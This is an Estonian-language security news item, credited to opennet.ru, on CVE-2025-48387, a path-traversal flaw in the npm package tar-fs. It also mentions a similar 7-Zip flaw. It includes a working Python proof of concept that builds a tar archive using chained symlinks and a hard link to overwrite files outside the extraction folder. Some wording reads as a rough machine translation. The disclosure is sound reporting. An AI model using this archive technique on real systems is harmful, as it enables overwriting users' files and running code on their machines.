NPM-pakendis tar-fs on tuvastatud haavatavus (CVE-2025-48387), mis võimaldab eriliselt kujundatud tar-arhiivi lahtipakkimisel kirjutada faile igasse failisüsteemi osa, mitte piirdudes kaustaga, kuhu lahtipakkimine toimub (nii kaua kui praeguse kasutaja õigused lubavad). Haavatavust saab kasutada ka olemasolevate failide üle kirjutamiseks, näiteks võib kodukaustas kirjutada üle failid " .ssh/id_rsa" või " .bashrc", et käivitada oma kood süsteemis.
Probleemile on määratud kriitiline ohutase, arvestades, et pakett tar-fs on 23 miljonit allalaadimist nädalas ja seda kasutatakse sõltuvusena 1155 projektis. Haavatavus on kõrvaldatud versioonides 3.0.9, 2.1.3 ja 1.16.5, mis loodi mais, kuid teave haavatavuse kohta avaldati vaid peaaegu 3 kuud hiljem.
Haavatavus tuleneb puudulikest kontrollidest arhiivis olevate sümboolsete ja jäikade linkide osas, et kontrollida nende ületamist sihtkataloogist purunemise ajal. Kontrollide ületamiseks kasutatakse kahte sümboolset linki: esimene näitab arhiivi purunemise juurkatalooge ("."), ja teine luuakse esimese sümboolse lingi suhtes ning kasutab oma nime osana sümboleid "../" sihtkataloogist välja pääsemiseks. Näiteks esimene link "noop/noop/noop" viitab "..", ja teine "noop/noop/noop/../../../" avatakse kui "../../../". Failide ülekirjutamiseks arhiivis võib luua jäika lingi, mis viitab välisele failile teise sümboolse lingi suhtes. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
Sarnane haavatavus (CVE-2025-55188) on tuvastatud 7-Zipi arhiiviprogrammis. 7-Zipis võivad sümboolsed lingid, mis sisaldavad teed „../”, võimaldada faile kirjutada baaskataloogist väljapoole. Probleem võib tekkida, kui 7-Zipi abil kasutatakse sümboolsete linkidega arhiive, nagu zip, tar, 7z ja rar. Probleem on lahendatud 7-Zipi versioonis 25.01.
Allikas: opennet.ru
